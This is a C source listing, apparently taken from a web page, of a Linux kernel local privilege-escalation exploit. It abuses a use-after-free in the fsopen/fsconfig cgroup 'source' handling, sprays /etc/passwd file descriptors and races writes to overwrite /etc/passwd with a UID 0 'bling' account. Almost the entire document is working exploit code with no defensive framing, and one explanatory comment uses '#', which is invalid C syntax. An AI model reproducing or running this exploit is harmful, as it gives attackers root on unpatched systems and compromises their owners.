1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <ctype.h> #include <pthread.h> #include <assert.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/uio.h> #include <sys/stat.h> #include <linux/kcmp.h> #ifndef __NR_fsconfig #define __NR_fsconfig 431 #endif #ifndef __NR_fsopen #define __NR_fsopen 430 #endif #define NR_PAGE 0x40000 #define MAX_FILE_NUM 1000 int uaf_fd; int fds[MAX_FILE_NUM]; int run_write = 0; int run_spray = 0; static void die(const char *fmt, ...) { va_list params; va_start(params, fmt); vfprintf(stderr, fmt, params); va_end(params); exit(1); } void init_namespace(void) { int fd; char buff[0x100]; uid_t uid = getuid(); gid_t gid = getgid();
#为什么使用unshare,因为 fsconfig 配置的 fs_context 需要 fsopen 创建,而 fsopen 需要拥有 CAP_SYS_ADMIN 权限,因此需要使用 clone 或者 unshare 调用进行构建伪权限 if (unshare(CLONE_NEWUSER | CLONE_NEWNS)) { die("unshare(CLONE_NEWUSER | CLONE_NEWNS): %m \n"); } if (unshare(CLONE_NEWNET)) { die("unshare(CLONE_NEWNET): %m \n"); } fd = open("/proc/self/setgroups", O_WRONLY); snprintf(buff, sizeof(buff), "deny"); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/uid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", uid); write(fd, buff, strlen(buff)); close(fd); fd = open("/proc/self/gid_map", O_WRONLY); snprintf(buff, sizeof(buff), "0 %d 1", gid); write(fd, buff, strlen(buff)); close(fd); } static void use_temporary_dir(void) { system("rm -rf exp_dir; mkdir exp_dir; touch exp_dir/data"); char *tmpdir = "exp_dir"; if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } void trigger() { int fs_fd = syscall(__NR_fsopen, "cgroup", 0); if (fs_fd < 0) { perror("fsopen"); die(""); } symlink("./data", "./uaf"); uaf_fd = open("./uaf", 1); if (uaf_fd < 0) { die("failed to open symbolic file\n"); } if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) { perror("fsconfig"); exit(-1); } close(fs_fd); } void *slow_write() { printf("[*] start slow write to get the lock\n"); int fd = open("./uaf", 1); if (fd < 0) { perror("error open uaf file"); exit(-1); } unsigned long int addr = 0x30000000; int offset; for (offset = 0; offset < NR_PAGE; offset++) { void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0); if (r < 0) { printf("allocate failed at 0x%x\n", offset); } } assert(offset > 0); uint64_t wr_len = (NR_PAGE-1)*0x1000; run_write = 1; if (write(fd, (void *)addr, wr_len) < 0) { perror("slow write"); } printf("[*] write done!\n"); close(fd); } void *write_cmd() { char data[1024] = "bling:x:0:0:root:/home/bling:/bin/bash\nroot:x:0:0:root:/root:/bin/bash\n"; while (!run_write) {} run_spray = 1; if(write(uaf_fd, data, strlen(data)) < 0){ printf("failed to write\n"); } printf("[*] overwrite done! It should be after the slow write\n"); } void spray_files() { int found = 0; while (!run_spray) {} printf("[*] got uaf fd %d, start spray....\n", uaf_fd); for (int i = 0; i < MAX_FILE_NUM; i++) { fds[i] = open("/etc/passwd", O_RDONLY); if (fds[i] < 0) { perror("open file"); printf("%d\n", i); } if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) { found = 1; printf("[!] found, file id %d\n", i); for (int j = 0; j < i; j++) close(fds[j]); break; } } if(found == 0){ printf("spary failed, try again!\n"); } } int main(){ pthread_t p_id, p_id_cmd; use_temporary_dir(); init_namespace(); trigger(); pthread_create(&p_id, NULL, slow_write, NULL); usleep(1); pthread_create(&p_id_cmd, NULL, write_cmd, NULL); spray_files(); pthread_exit(NULL); return 0; }
|